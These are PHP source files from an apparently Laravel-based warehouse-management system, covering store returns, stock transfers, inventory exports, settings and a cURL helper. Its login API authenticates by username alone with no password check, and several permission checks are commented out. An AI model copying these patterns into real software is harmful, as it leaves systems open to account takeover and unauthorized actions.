foreach ($header as $key => $head)
{
$sheet->setCellValue($key.$start, $head);
$sheet->cell($key.$start, function($cell) {
$cell->setAlignment('center');
$cell->setValignment('center');
$cell->setFontWeight('bold');
});
}
$_start = 4;
$keys = array("<KEY>" );
foreach ($results as $list)
{
$sheet->setCellValue('A'.$_start, $list->so_no);
$sheet->setCellValue('B'.$_start, $list->sku);
$sheet->setCellValue('C'.$_start, $list->upc);
$sheet->setCellValue('D'.$_start, $list->short_name);
$sheet->setCellValue('E'.$_start, Store::getStoreName($list['from_store_code']));
$sheet->setCellValue('F'.$_start, Store::getStoreName($list['to_store_code']));
$sheet->setCellValue('G'.$_start, date("M d, Y",strtotime($list->created_at)));
$sheet->setCellValue('H'.$_start, $list->firstname.' '.$list->lastname );
$sheet->setCellValue('H'.$_start, $list->variance);
$_start++;
}
});
}
})->export('xlsx');
}
public function getexportCVSmtsdiscrepancyexelfile()
{
$filter_po_no = Input::get('filter_po_no', null);
$arrParams = array(
'filter_po_no' => Input::get('filter_po_no', NULL),
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'filter_receiver_no' => Input::get('filter_receiver_no', NULL),
// 'filter_supplier' => Input::get('filter_supplier', NULL),
'filter_entry_date' => Input::get('filter_entry_date',NULL),
'filter_stock_piler' => Input::get('filter_stock_piler', NULL),
'filter_status' => Input::get('filter_status', NULL),
'filter_shipment_reference_no' => Input::get('filter_shipment_reference_no', null),
'sort' => Input::get('sort', 'po_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = StoreReturn::getSOListReport($arrParams);
$output = Lang::get('store_return.col_tl_number1'). ',';
$output .= Lang::get('store_return.col_from_store_name'). ',';
$output .= Lang::get('store_return.col_to_store_name'). ',';
$output .= Lang::get('store_return.col_sku'). ',';
$output .= Lang::get('store_return.col_upc'). ',';
$output .= Lang::get('store_return.col_shrt_nm'). ',';
$output .= Lang::get('store_return.col_qty_to_pick'). ',';
$output .= Lang::get('store_return.col_stock_piler'). ',';
$output .= Lang::get('store_return.col_entry_date'). ',';
$output .= Lang::get('store_return.col_var'). "\n";
foreach ($results as $key => $value) {
$exportData = array(
'"' . $value->so_no . '"',
'"' . $value->store_name . '"',
'"' . $value->to_store_code . '"',
'"' . $value->sku . '"',
'"' . $value->upc . '"',
'"' . $value->short_name . '"',
'"' . $value->firstname .' '.$value->lastname .'"',
'"' . date("M d, Y", strtotime($value->created_at)) . '"',
'"' . $value->variance . '"'
);
$output .= implode(",", $exportData);
$output .= "\n";
}
$headers = array(
'Content-Type' => 'text/csv',
'Content-Disposition' => 'attachment; filename="stock_transfer_mts_received_' . date('Ymd') . '_' . time() . '.csv"',
);
return Response::make(rtrim($output, "\n"), 200, $headers);
}
protected function getList() {
$this->data = Lang::get('store_return');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
// URL
$this->data['url_assign'] = URL::to('store_return/assign'. $this->setURL());
$this->data['url_export'] = URL::to('store_return/export');
$this->data['url_detail'] = URL::to('store_return/detail' . $this->setURL(true));
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Options
$store_list = StoreReturn::getStoreList();
if(CommonHelper::arrayHasValue($store_list)) {
foreach($store_list as $store){
$this->data['store_list'][$store] = $store;
}
}
else {
$this->data['store_list'][] = NULL;
}
// Search Filters
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_created_at = Input::get('filter_created_at', NULL);
$filter_status = Input::get('filter_status', NULL);
$sort = Input::get('sort', 'so_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_so_no' => $filter_so_no,
'filter_store' => $filter_store,
'filter_created_at' => $filter_created_at,
'filter_status' => $filter_status,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = StoreReturn::getSOList($arrParams);
foreach ($results as $result) {
$arrParams = array(
'filter_so_no' => $filter_so_no,
'filter_store' => $filter_store,
'filter_created_at' => $filter_created_at,
'filter_status' => $filter_status,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 0
);
$details= StoreReturnDetail::getSODetails($result['so_no'], $arrParams)->toArray();
foreach($details as $detail){
if($detail['received_qty'] != $detail['delivered_qty'] ){
$result->discrepancy=1;
break;
}
}
}
$results = $results->toArray();
$results_total = StoreReturn::getCount($arrParams);
// Pagination
$this->data['arrFilters'] = array(
'filter_so_no' => $filter_so_no,
'filter_store' => $filter_store,
'filter_created_at' => $filter_created_at,
'filter_status' => $filter_status,
'sort' => $sort,
'order' => $order
);
$this->data['store_return'] = Paginator::make($results, $results_total, 30);
$this->data['store_return_count'] = $results_total;
$this->data['counter'] = $this->data['store_return']->getFrom();
$this->data['so_status_type'] = Dataset::getTypeWithValue("SR_STATUS_TYPE");
// print_r($results); die();
$this->data['filter_so_no'] = $filter_so_no;
$this->data['filter_store'] = $filter_store;
$this->data['filter_created_at'] = $filter_created_at;
$this->data['filter_status'] = $filter_status;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_so_no=' . $filter_so_no . '&filter_store=' . $filter_store;
$url .= '&filter_created_at=' . $filter_created_at;
$url .= '&filter_status=' . $filter_status;
$url .= '&page=' . $page;
$order_so_no = ($sort=='so_no' && $order=='ASC') ? 'DESC' : 'ASC';
$order_store = ($sort=='store' && $order=='ASC') ? 'DESC' : 'ASC';
$order_created_at = ($sort=='created_at' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_so_no'] = URL::to('store_return' . $url . '&sort=so_no&order=' . $order_so_no, NULL, FALSE);
$this->data['sort_store'] = URL::to('store_return' . $url . '&sort=store&order=' . $order_store, NULL, FALSE);
$this->data['sort_created_at'] = URL::to('store_return' . $url . '&sort=created_at&order=' . $order_created_at, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('store_return/stocktransfer', $this->data);
}
public function getSOLoad()
{
/*$this->data['filter_load_code'] = Input::get('filter_load_code', NULL);
$this->data['filter_stock_piler'] = Input::get('filter_stock_piler', NULL);
$this->data['filter_entry_date'] = Input::get('filter_entry_date', NULL);
$this->data['sort'] = Input::get('sort', 'load_code');
$this->data['order'] = Input::get('order', 'DESC');
$this->data['page'] = Input::get('page', 1);
$arrparam=$arrayName = array(
'filter_load_code' => $this->data['filter_load_code'],
'filter_assigned_to_user_id'=> $this->data['filter_stock_piler'],
'filter_ship_at' => $this->data['filter_entry_date'],
'sort' => $this->data['sort'],
'order' => $this->data['order'],
'page' => $this->data['page']
);
$results = store_return_load::getlist($arrparam);
$results_total = store_return_load::getlist($arrparam,True);
$this->data['load_list'] = Paginator::make($results, $results_total, 30);
$this->data['list_count'] = $results_total;
$this->data['arrparam'] = $arrparam;
$this->data['counter'] = $this->data['load_list']->getFrom();
$this->data['permissions'] = unserialize(Session::get('permissions'));
$url = '?filter_load_code=' . $this->data['filter_load_code'];
$url .= '&filter_assigned_to_user_id=' . $this->data['filter_stock_piler'];
$url .= '&page=' .$this->data['page'];
$order_load_code = ($this->data['sort']=='load_code' && $this->data['order']=='ASC') ? 'DESC' : 'ASC';
$order_date_created = ($this->data['sort']=='load.created_at'&& $this->data['order']=='ASC') ? 'DESC' : 'ASC';
$order_ship_at = ($this->data['sort']=='ship_at'&& $this->data['order']=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_load_code'] = URL::to('shipping/list' . $url .'&sort=load_code&order=' . $order_load_code, NULL, FALSE);
$this->data['sort_date_created'] = URL::to('shipping/list' . $url . '&sort=load.created_at&order=' . $order_date_created, NULL, FALSE);
$this->data['sort_ship_at'] = URL::to('shipping/list' . $url . '&sort=ship_at&order=' . $order_ship_at, NULL, FALSE);*/
$this->layout->content=view::make('store_order.so_load',$this->data);
}
protected function setURL($forDetail = false, $forBackToList = false) {
// Search Filters
// http://local.ccri.com/picking/list?filter_doc_no=&filter_status=&filter_store=26&sort=doc_no&order=ASC
$url = '?filter_so_no=' . Input::get('filter_so_no', NULL);
$url .= '&filter_ToStore=' . Input::get('filter_ToStore', NULL);
$url .= '&filter_created_at=' . Input::get('filter_created_at', NULL);
$url .= '&filter_status=' . Input::get('filter_status', NULL);
if($forDetail) {
$url .= '&sort_back=' . Input::get('sort', 'so_no');
$url .= '&order_back=' . Input::get('order', 'ASC');
$url .= '&page_back=' . Input::get('page', 1);
} else {
if($forBackToList == true) {
$url .= '&sort=' . Input::get('sort_back', 'so_no');
$url .= '&order=' . Input::get('order_back', 'ASC');
$url .= '&page=' . Input::get('page_back', 1);
} else {
$url .= '&sort=' . Input::get('sort', 'so_no');
$url .= '&order=' . Input::get('order', 'ASC');
$url .= '&page=' . Input::get('page', 1);
}
}
return $url;
}
/*protected function setURL() {
// Search Filters
$url = '?filter_so_no=' . Input::get('filter_so_no', NULL);
$url .= '&filter_store=' . Input::get('filter_store', NULL);
$url .= '&filter_created_at=' . Input::get('filter_created_at', NULL);
$url .= '&filter_status=' . Input::get('filter_status', NULL);
$url .= '&sort=' . Input::get('sort', 'so_no');
$url .= '&order=' . Input::get('order', 'ASC');
$url .= '&page=' . Input::get('page', 1);
return $url;
}*/
public function assignPilerForm() {
// Search Filters
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store_name = Input::get('filter_store_name', NULL);
$filter_created_at = Input::get('filter_created_at', NULL);
$filter_status = Input::get('filter_status', NULL);
$sort = Input::get('sort', 'so_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data = Lang::get('store_return');
$this->data['so_no'] = Input::get('so_no');
$this->data['filter_so_no'] = $filter_so_no;
$this->data['filter_store_name'] = $filter_store_name;
$this->data['filter_created_at'] = $filter_created_at;
$this->data['filter_status'] = $filter_status;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['button_assign'] = Lang::get('general.button_assign');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
$this->data['url_back'] = URL::to('store_return/stocktransfer'). $this->setURL();
$this->data['params'] = explode(',', Input::get('so_no'));
$this->data['info'] = StoreReturn::getInfoBySoNo($this->data['params']);
$this->layout->content = View::make('store_return.assign_piler_form', $this->data);
}
public function assignPilerFormpicking() {
// Search Filter
$this->data =lang::get('store_return');
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store_name = Input::get('filter_store_name', NULL);
$filter_created_at = Input::get('filter_created_at', NULL);
$filter_status = Input::get('filter_status', NULL);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data = Lang::get('store_return');
$this->data['doc_no'] = Input::get('doc_no');
$this->data['filter_so_no'] = $filter_so_no;
$this->data['filter_store_name'] = $filter_store_name;
$this->data['filter_created_at'] = $filter_created_at;
$this->data['filter_status'] = $filter_status;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['button_assign'] = Lang::get('general.button_assign');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
$this->data['url_back'] = URL::to('stocktransfer/PickAndPackStore');
$this->data['params'] = explode(',', Input::get('doc_no'));
$this->data['info'] = StoreReturnPickinglist::getInfoBySoNo($this->data['params']);
$this->layout->content = View::make('store_return.assignToPilerPicking', $this->data);
}
public function assignToStockPilerPicking() {
// Check Permissions
$pilers = implode(',' , Input::get('stock_piler'));
//get moved_to_reserve id
$arrParams = array('data_code' => 'PICKLIST_STATUS_TYPE', 'data_value'=> 'assigned');
$picklistStatus = Dataset::getType($arrParams)->toArray();
$arrDocNo = explode(',', Input::get("doc_no"));
foreach ($arrDocNo as $docNo) {
$arrParams = array(
'assigned_by' => Auth::user()->id,
'assigned_to_user_id' => $pilers, //Input::get('stock_piler'),
'pl_status' => $picklistStatus['id'], //assigned
'updated_at' => date('Y-m-d H:i:s')
);
StoreReturnPickinglist::assignToStockPilerPickingmodel($docNo, $arrParams);
// AuditTrail
$users = User::getUsersFullname(Input::get('stock_piler'));
$fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $users));
$data_before = '';
$data_after = 'MTS no. : ' . $docNo . ' assigned to :' . $fullname;
$arrParams = array(
'module' => Config::get("audit_trail_modules.subloc_picking"),
'action' => Config::get('audit_trail.assign_subloc_pick'),
'reference' => 'MTS no.: '. $docNo,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
}
return Redirect::to('stocktransfer/PickAndPackStore' . $this->setURL())->with('message', Lang::get('picking.text_success_assign'));
}
/**
* Assign stock piler to purchase order
*
* @example www.example.com/purchase_order/assign_to_piler
*
* @param po_no int Purchase order number
* @param stock_piler int Stock piler id
* @return Status
*/
public function assignToStockPiler() {
// Check Permissions
$pilers = implode(',' , Input::get('stock_piler'));
//get moved_to_reserve id
$arrParams = array('data_code' => 'SR_STATUS_TYPE', 'data_value'=> 'assigned');
$storeReturnStatus = Dataset::getType($arrParams)->toArray();
$arrSoNo = explode(',', Input::get("so_no"));
foreach ($arrSoNo as $soNo) {
$arrParams = array(
'assigned_by' => Auth::user()->id,
'assigned_to_user_id' => $pilers, //Input::get('stock_piler'),
'so_status' => $storeReturnStatus['id'], //assigned
'updated_at' => date('Y-m-d H:i:s')
);
StoreReturn::assignToStockPiler123($soNo, $arrParams);
// AuditTrail
$users = User::getUsersFullname(Input::get('stock_piler'));
$fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $users));
$data_before = '';
$data_after = 'Subloc MTS no. : ' . $soNo . ' assigned to :' . $fullname;
$arrParams = array(
'module' => Config::get("audit_trail_modules.subloc_receiving"),
'action' => Config::get('audit_trail.assign_subloc_receive'),
'reference' => 'MTS no.: '. $soNo,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
}
return Redirect::to('stock_transfer/MTSReceiving' . $this->setURL())->with('message', Lang::get('store_return.text_success_assign_stockreceiving'));
}
/**
* Gets stock piler for drop down
*
* @example $this->getStockPilers();
*
* @return array of stock piler and drop down initial text;
*/
private function getStockPilers()
{
$stock_pilers = array();
foreach (User::getStockPilerOptions() as $item) {
$stock_pilers[$item->id] = $item->firstname . ' ' . $item->lastname;
}
return array('' => Lang::get('general.text_select')) + $stock_pilers;
}
public function closeStoreReturn()
{
// Check Permissions
/*if (Session::has('permissions')) {
if (!in_array('CanClosePurchaseOrders', unserialize(Session::get('permissions'))) || !in_array('CanClosePurchaseOrderDetails', unserialize(Session::get('permissions')))) {
return Redirect::to('user/profile');
}
} else {
return Redirect::to('users/logout');
}*/
$soNo = Input::get("so_no");
$status = 'posted'; // closed
$date_updated = date('Y-m-d H:i:s');
$status_options = Dataset::where("data_code", "=", "SR_STATUS_TYPE")->get()->lists("id", "data_value");
$store = StoreReturn::updateStatus($soNo, $status_options['closed']);
// AuditTrail
$user = User::find(Auth::user()->id);
$data_before = '';
$data_after = 'Store Return No: ' . $soNo . ' posted by ' . $user->username;
$arrParams = array(
'module' => Config::get("audit_trail_modules.store_return"),
'action' => Config::get("audit_trail.modify_store_return_status"),
'reference' => $soNo,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
// Add transaction for jda syncing
$isSuccess = JdaTransaction::insert(array(
'module' => Config::get('transactions.module_store_return'),
'jda_action' => Config::get('transactions.jda_action_sr_closing'),
'reference' => $soNo
));
Log::info(__METHOD__ .' jda transaction dump: '.print_r($isSuccess,true));
// run daemon command: php app/cron/jda/classes/receive_po.php
if( $isSuccess )
{
$daemon = "classes/store_return.php {$soNo}";
CommonHelper::execInBackground($daemon,'store_return');
}
return Redirect::to('store_return' . $this->setURL())->with('message', Lang::get('store_return.text_success_posted'));
}
}
<file_sep><?php
class ApiStoreUsers extends BaseController {
// protected static $allowed_roles = array(3,4);
/**
* User login
*
* @param $credential username and password of the user
* @return Response
*/
public function postLogin() {
try {
$credential = array();
$credential['username'] = Request::get('username');
if(! CommonHelper::hasValue($credential['username']) ) throw new Exception( 'Username cannot be null!');
$getUser = StoreUsers::checkUser($credential);
if(! empty($getUser) )
{
/*if(!in_array(Auth::user()->role_id, self::$allowed_roles)) {
throw new Exception( 'Account not allowed.');
}*/
$userinfo = $getUser->toArray();
$user_detail = array(
'user_id' => $userinfo['id'],
'username' => $userinfo['username'],
'role_id' => $userinfo['role_id']
);
DebugHelper::log(__METHOD__ .' User detail ',$user_detail);
return Response::json(array(
"error" => false,
"result" => array("user" => $user_detail),
"message" => 'Successfully logged in!'),
200
);
}
else
{
throw new Exception( 'Invalid username!');
}
}catch(Exception $e) {
return Response::json(array(
"error" => true,
"message" => $e->getMessage()),
400
);
}
}
/**
* Logout current user
*
* @param
* @return Response
*/
public function postLogout() {
Auth::logout();
return Response::json(array(
"error" => false,
"message" => 'Successfully logged out!'),
200
);
}
}<file_sep><?php
class Settings extends Eloquent {
protected $table = 'settings';
public static function addSetting($data = array()) {
DB::table('settings')->insert($data);
}
public static function updateSetting($id, $data = array()) {
$query = DB::table('settings')->where('id', '=', $id);
$query->update($data);
}
public static function deleteSetting($data = array()) {
foreach ($data as $item) {
$query = DB::table('settings')->where('id', '=', $item);
$query->update(array('deleted_at' => date('Y-m-d H:i:s')));
}
}
public static function getSettings($data = array()) {
$query = DB::table('settings')->where(function($query_sub)
{
$query_sub->where('deleted_at', '=', '0000-00-00 00:00:00')
->orWhere('deleted_at', '=', NULL);
});
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='brand') $data['sort'] = 'brand_name';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
return $result;
}
public static function getCountSettings($data = array()) {
$query = DB::table('settings')->where(function($query_sub)
{
$query_sub->where('deleted_at', '=', '0000-00-00 00:00:00')
->orWhere('deleted_at', '=', NULL);
});
return $query->count();
}
public static function getSettingsOptions($data = array()) {
$query = DB::table('settings')->where(function($query_sub)
{
$query_sub->where('deleted_at', '=', '0000-00-00 00:00:00')
->orWhere('deleted_at', '=', NULL);
});
$result = $query->get();
return $result;
}
}<file_sep><?php
/**
* Curl functions for HTTP GET, POSt
*
* @package SSI-WMS
* @subpackage Common
* @category Helpers
* @author <NAME> | <EMAIL> | <EMAIL>
* @version Version 1.0
*
*/
class CurlHelper {
/**
* POST method for cURL.
*
* @param $url
* @param $data array data
* @param $header string access_token
* @return array
*/
public static function curlPost($url, $data, $access_token = NULL)
{
$url = cURL::buildUrl($url, $data);
// DebugHelper::debugPrint($url);
if( CommonHelper::hasValue($access_token) ) cURL::setHeader('Authorization', $access_token);
$response = cURL::post($url, array('post'=>'data'));
Log::info('info '. __METHOD__ . ' : '. json_encode($response));
return array(
'response' => json_decode($response->body, true),
'statusText' => $response->statusText,
'status' => $response->statusCode
);
}
/**
* GET method for cURL.
*
* @param $url
* @param $data
* @param bool $auth
* @param $type ("xml", "json")
* @return array
*/
public static function curlGet($url, $data = NULL, $access_token = NULL)
{
if( CommonHelper::hasValue($access_token) ) $data['access_token'] = $access_token;
if( CommonHelper::arrayHasValue($data) ) $url = cURL::buildUrl($url, $data);
$response = cURL::get($url);
return array(
'response' => json_decode($response->body, true),
'statusText' => $response->statusText,
'status' => $response->statusCode
);
}
}<file_sep><?php
return array(
'not_in_use' => 0,
'in_use' => 1);<file_sep><?php
class InventoryController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
public function __construct()
{
date_default_timezone_set('Asia/Manila');
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only' => array('Dashboard')));
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessInventory', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessInventory', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportInventory', unserialize(Session::get('permissions')))) {
return Redirect::to('inventory');
}
} else {
return Redirect::to('users/logout');
}
$arrParams = array(
'filter_prod_sku' => Input::get('filter_prod_sku', NULL),
'filter_prod_upc' => Input::get('filter_prod_upc', NULL),
'filter_date_from' => Input::get('filter_date_from', NULL),
'filter_date_to' => Input::get('filter_date_to', NULL),
'filter_slot_no' => Input::get('filter_slot_no', NULL),
'sort' => Input::get('sort', 'slot_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Inventory::getInventoryMain($arrParams);
$output = Lang::get('inventory.col_slot_no') . ',';
$output .= Lang::get('inventory.col_prod_sku') . ',';
$output .= Lang::get('inventory.col_prod_upc') . ',';
$output .= Lang::get('inventory.col_prod_short_name') . ',';
$output .= Lang::get('inventory.col_total_quantity') . ',';
$output .= Lang::get('inventory.col_earliest_expiry_date') . "\n";
foreach ($results as $value) {
$exportData = array(
'"' . $value->slot_id . '"',
'"' . $value->sku . '"',
'"' . $value->upc . '"',
'"' . $value->short_description . '"',
'"' . $value->total_qty . '"',
'"' . date('M d, Y', strtotime($value->early_expiry)) . '"'
);
$output .= implode(",", $exportData);
$output .= "\n";
}
$headers = array(
'Content-Type' => 'text/csv',
'Content-Disposition' => 'attachment; filename="inventory_' . date('Ymd') . '_' . time() . '.csv"',
);
return Response::make(rtrim($output, "\n"), 200, $headers);
}
public function exportDetailsCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportInventoryDetails', unserialize(Session::get('permissions')))) {
return Redirect::to('inventory');
}
} else {
return Redirect::to('users/logout');
}
$arrParams = array(
'slot' => Input::get('slot', NULL),
'sku' => Input::get('sku', NULL),
'sort' => Input::get('sort', 'expiry_date'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Inventory::getInventory($arrParams);
$output = Lang::get('inventory.col_slot_no') . ',';
$output .= Lang::get('inventory.col_prod_sku') . ',';
$output .= Lang::get('inventory.col_prod_upc') . ',';
$output .= Lang::get('inventory.col_prod_short_name') . ',';
$output .= Lang::get('inventory.col_quantity') . ',';
$output .= Lang::get('inventory.col_expiry_date') . "\n";
foreach ($results as $value) {
$exportData = array(
'"' . $value->slot_id . '"',
'"' . $value->sku . '"',
'"' . $value->upc . '"',
'"' . $value->short_description . '"',
'"' . $value->quantity . '"',
'"' . date('M d Y', strtotime($value->expiry_date)) . '"'
);
$output .= implode(",", $exportData);
$output .= "\n";
}
$headers = array(
'Content-Type' => 'text/csv',
'Content-Disposition' => 'attachment; filename="inventoryDetails_' . $value->slot_id . '_' . date('Ymd') . '_' . time() . '.csv"',
);
return Response::make(rtrim($output, "\n"), 200, $headers);
}
protected function getList() {
$this->data['heading_title'] = Lang::get('inventory.heading_title');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_view_details'] = Lang::get('inventory.text_view_details');
$this->data['label_filter_prod_sku'] = Lang::get('inventory.label_filter_prod_sku');
$this->data['label_filter_prod_upc'] = Lang::get('inventory.label_filter_prod_upc');
$this->data['label_filter_date_from'] = Lang::get('inventory.label_filter_date_from');
$this->data['label_filter_date_to'] = Lang::get('inventory.label_filter_date_to');
$this->data['label_filter_slot_no'] = Lang::get('inventory.label_filter_slot_no');
$this->data['col_id'] = Lang::get('inventory.col_id');
$this->data['col_slot_no'] = Lang::get('inventory.col_slot_no');
$this->data['col_prod_sku'] = Lang::get('inventory.col_prod_sku');
$this->data['col_prod_upc'] = Lang::get('inventory.col_prod_upc');
$this->data['col_prod_short_name'] = Lang::get('inventory.col_prod_short_name');
$this->data['col_total_quantity'] = Lang::get('inventory.col_total_quantity');
$this->data['col_earliest_expiry_date'] = Lang::get('inventory.col_earliest_expiry_date');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_jda'] = Lang::get('general.button_jda');
// URL
$this->data['url_export'] = URL::to('inventory/export');
$this->data['url_details'] = URL::to('inventory/detail' . $this->setURL(true));
// Search Filters
$filter_prod_sku = Input::get('filter_prod_sku', NULL);
$filter_prod_upc = Input::get('filter_prod_upc', NULL);
$filter_date_from = Input::get('filter_date_from', NULL);
$filter_date_to = Input::get('filter_date_to', NULL);
$filter_slot_no = Input::get('filter_slot_no', NULL);
$sort = Input::get('sort', 'slot_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
// Data
$arrParams = array(
'filter_prod_sku' => $filter_prod_sku,
'filter_prod_upc' => $filter_prod_upc,
'filter_date_from' => $filter_date_from,
'filter_date_to' => $filter_date_to,
'filter_slot_no' => $filter_slot_no,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = Inventory::getInventoryMain($arrParams);
$results_total = Inventory::getInventoryMain($arrParams, TRUE);
//if you want to see slot use this
//$results = SlotDetails::getSlotDetailsMain($arrParams);
//$results_total = count(SlotDetails::getCountSlotDetailsMain($arrParams));
// Pagination
$this->data['arrFilters'] = array(
'filter_prod_sku' => $filter_prod_sku,
'filter_prod_upc' => $filter_prod_upc,
'filter_date_from' => $filter_date_from,
'filter_date_to' => $filter_date_to,
'filter_slot_no' => $filter_slot_no,
'sort' => $sort,
'order' => $order
);
$this->data['inventory'] = Paginator::make($results, $results_total, 30);
$this->data['inventory_count'] = $results_total;
$this->data['counter'] = $this->data['inventory']->getFrom();
$this->data['filter_prod_sku'] = $filter_prod_sku;
$this->data['filter_prod_upc'] = $filter_prod_upc;
$this->data['filter_date_from'] = $filter_date_from;
$this->data['filter_date_to'] = $filter_date_to;
$this->data['filter_slot_no'] = $filter_slot_no;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_prod_sku=' . $filter_prod_sku . '&filter_prod_upc=' . $filter_prod_upc;
$url .= '&filter_date_from=' . $filter_date_from . '&filter_date_to=' . $filter_date_to;
$url .= '&filter_slot_no=' . $filter_slot_no;
$url .= '&page=' . $page;
$order_id = ($sort=='id' && $order=='ASC') ? 'DESC' : 'ASC';
$order_slot_no = ($sort=='slot_no' && $order=='ASC') ? 'DESC' : 'ASC';
$order_sku = ($sort=='sku' && $order=='ASC') ? 'DESC' : 'ASC';
$order_upc = ($sort=='upc' && $order=='ASC') ? 'DESC' : 'ASC';
$order_short_name = ($sort=='short_name' && $order=='ASC') ? 'DESC' : 'ASC';
$order_quantity = ($sort=='quantity' && $order=='ASC') ? 'DESC' : 'ASC';
$order_expiry_date = ($sort=='created_at' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_id'] = URL::to('inventory' . $url . '&sort=id&order=' . $order_id, NULL, FALSE);
$this->data['sort_slot_no'] = URL::to('inventory' . $url . '&sort=slot_no&order=' . $order_slot_no, NULL, FALSE);
$this->data['sort_sku'] = URL::to('inventory' . $url . '&sort=sku&order=' . $order_sku, NULL, FALSE);
$this->data['sort_upc'] = URL::to('inventory' . $url . '&sort=upc&order=' . $order_upc, NULL, FALSE);
$this->data['sort_short_name'] = URL::to('inventory' . $url . '&sort=short_name&order=' . $order_short_name, NULL, FALSE);
$this->data['sort_quantity'] = URL::to('inventory' . $url . '&sort=quantity&order=' . $order_quantity, NULL, FALSE);
$this->data['sort_expiry_date'] = URL::to('inventory' . $url . '&sort=created_at&order=' . $order_expiry_date, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('inventory.list', $this->data);
}
protected function getDetails() {
$this->data['heading_title_details'] = Lang::get('inventory.heading_title_details');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['label_filter_slot_no'] = Lang::get('inventory.label_filter_slot_no');
$this->data['col_id'] = Lang::get('inventory.col_id');
$this->data['col_prod_sku'] = Lang::get('inventory.col_prod_sku');
$this->data['col_prod_upc'] = Lang::get('inventory.col_prod_upc');
$this->data['col_prod_short_name'] = Lang::get('inventory.col_prod_short_name');
$this->data['col_quantity'] = Lang::get('inventory.col_quantity');
$this->data['col_expiry_date'] = Lang::get('inventory.col_expiry_date');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_jda'] = Lang::get('general.button_jda');
$this->data['button_back'] = Lang::get('general.button_back');
// URL
$this->data['url_export'] = URL::to('inventory/export_detail');
$this->data['url_back'] = URL::to('inventory' . $this->setURL(false, true));
// Search Filters
$slot = Input::get('slot', NULL);
$sku = Input::get('sku', NULL);
// $sort = Input::get('sort', 'expiry_date');
$sort = Input::get('sort', NULL);
$order = Input::get('order', 'ASC');
